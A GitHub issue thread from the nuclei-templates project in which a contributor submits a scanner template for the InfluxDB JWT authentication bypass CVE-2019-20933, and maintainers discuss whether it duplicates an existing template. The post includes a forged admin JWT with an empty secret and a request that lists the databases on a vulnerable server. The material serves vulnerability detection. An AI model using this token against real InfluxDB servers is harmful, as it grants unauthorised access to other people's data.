projectdiscovery / nuclei-templates

Community curated list of templates for the nuclei engine to find security vulnerabilities.
https://github.com/projectdiscovery/nuclei
MIT License
9.07k stars 2.59k forks source link

CVE-2019-20933 - InfluxDB authentication bypass #3788

Closed c-sh0 closed 2 years ago

c-sh0 commented 2 years ago

Template Information:

CVE-2019-20933: InfluxDB before 1.7.6 has an authentication bypass vulnerability

An example admin user token with an empty shared secret and an expiration date of: 9999999/12/31 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjozMTU1MDczNTI3MTYwMDB9.iny1LZi559E8IiXmKr9sT4Vu4z_iAWKHQniMoySUJNI

Nuclei Template:

id: CVE-2019-20933

info:
  name: InfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in services/httpd/handler.go because a JWT token may have an empty SharedSecret
  author: c-sh0
  severity: critical
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-20933
    - https://github.com/influxdata/influxdb/issues/12927
    - https://github.com/c-sh0/security/blob/master/influxdb.txt
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2019-20933
    cwe-id: CWE-287
  tags: cve,cve-2019,influxdb,auth-bypass

requests:
  - method: GET
    path:
      - "{{BaseURL}}/query?q=SHOW%20DATABASES"
    headers:
      Authorization: Bearer {{token}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - '"results":'
          - '"name":"databases"'
        condition: and

influx-auth-bypass

DhiyaneshGeek commented 2 years ago

@c-sh0 thanks for the template contribution, it looks like we already we have a template nuclei-templates/misconfiguration/unauthenticated-influxdb.yaml

will add you as the author to the original template and move the template to CVE directory :)

c-sh0 commented 2 years ago

@DhiyaneshGeek, sorry for the late reply, The updated template is mis-leading as in "missing auth" where as, the template I provided here is actually an authentication bypass (ie: Vulnerable version of InFluxDB with authentication enabled) Note the above provided JWT auth token contains no shared secret.